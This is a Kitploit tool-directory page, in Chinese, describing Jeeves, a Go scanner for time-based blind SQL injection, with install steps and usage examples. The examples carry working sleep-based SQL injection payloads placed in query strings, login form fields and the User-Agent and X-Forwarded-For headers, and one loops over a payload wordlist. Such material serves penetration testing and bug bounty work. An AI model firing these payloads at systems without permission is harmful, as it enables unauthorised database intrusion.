Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Jeeves — 基于时间的盲注SQL注入检测工具,用于侦察和漏洞赏金。接受单个URL或列表,支持自定义头部、代理和POST数据,用于自动化漏洞扫描。 | Kitploit
工具/GitHubGitHub/ferreiraklet/jeeves
漏洞扫描器Web安全渗透测试
GitHubferreiraklet/jeeves

Jeeves

基于时间的盲注SQL注入检测工具,用于侦察和漏洞赏金。接受单个URL或列表,支持自定义头部、代理和POST数据,用于自动化漏洞扫描。

查看仓库
21550444年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

made-with-Go

Jeeves


使用 • 安装

Jeeves 旨在通过信息收集来寻找基于时间的盲 SQL 注入漏洞。

目录:

  • 安装
  • 使用
    • 添加请求头
    • 使用代理
    • 发起 POST 请求
    • 其他使用方法

- 安装与要求:

安装 Jeeves 💀

root@kitploit:~
$ go install github.com/ferreiraklet/Jeeves@latest

或者

root@kitploit:~
$ git clone https://github.com/ferreiraklet/Jeeves.git
$ cd Jeeves
$ go build jeeves.go
$ chmod +x jeeves
$ ./jeeves -h

- 使用与说明:

在你的信息收集过程中,你可能会发现可能存在 SQL 注入漏洞的端点,例如: https://redacted.com/index.php?id=1

单个 URL

root@kitploit:~
echo 'https://redacted.com/index.php?id=your_time_based_blind_payload_here' | jeeves -t payload_time
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(10)))v)" | jeeves -t 10

在 --payload-time 中,你必须使用 payload 中指定的时间。


从列表读取

cat targets | jeeves --payload-time 5

添加请求头

注意语法!必须与下面相同 =>

root@kitploit:~
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -H "Testing: testing;OtherHeader: Value;Other2: Value"

使用代理

root@kitploit:~
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 --proxy "http://ip:port"
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves -t 5 -p "http://ip:port"

代理 + 请求头 =>

root@kitploit:~
echo "http://testphp.vulnweb.com/artists.php?artist=" | qsreplace "(select(0)from(select(sleep(5)))v)" | jeeves --payload-time 5 --proxy "http://ip:port" -H "User-Agent: xxxx"

POST 请求

通过 POST 请求发送数据(登录表单等)

注意语法!必须与下面相同!->

root@kitploit:~
echo "https://example.com/Login.aspx" | jeeves -t 10 -d "user=(select(0)from(select(sleep(5)))v)&password=xxx"
echo "https://example.com/Login.aspx" | jeeves -t 10 -H "Header1: Value1" -d "username=admin&password='+(select*from(select(sleep(5)))a)+'" -p "http://yourproxy:port"

其他使用方法

你可以将 Jeeves 与其他工具结合使用,例如 gau、gauplus、waybackurls、qsreplace 和 bhedak,充分发挥其优势。


Command line flags:

root@kitploit:~
 Usage:
 -t, --payload-time,  The time from payload
 -p, --proxy          Send traffic to a proxy
 -c                   Set Concurrency, Default 25
 -H, --headers        Custom Headers
 -d, --data           Sending Post request with data
 -h                   Show This Help Message

使用 SQL 载荷字典

root@kitploit:~
cat sql_wordlist.txt | while read payload;do echo http://testphp.vulnweb.com/artists.php?artist= | qsreplace $payload | jeeves -t 5;done

在请求头中测试

root@kitploit:~
echo "https://target.com" | jeeves -H "User-Agent: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10
echo "https://target.com" | jeeves -H "X-Forwarded-For: 'XOR(if(now()=sysdate(),sleep(5*2),0))OR'" -t 10

Payload credit: https://github.com/rohit0x5

注意:

  • 不跟随重定向,如果状态码不是 200,则返回 "Need Manual Analisys"
  • Jeeves 不进行 HTTP 探测,无法对不包含协议(http://、https://)的 URL 发起请求

本项目仅用于教育学习和漏洞赏金目的!我不支持任何非法活动!

如果程序出现任何错误,请立即联系我。

请同时查看以下项目 =>

Nilo - 检查 URL 是否返回状态码 200

SQLMAP

Blisqy 基于请求头的盲 SQL 注入

下载工具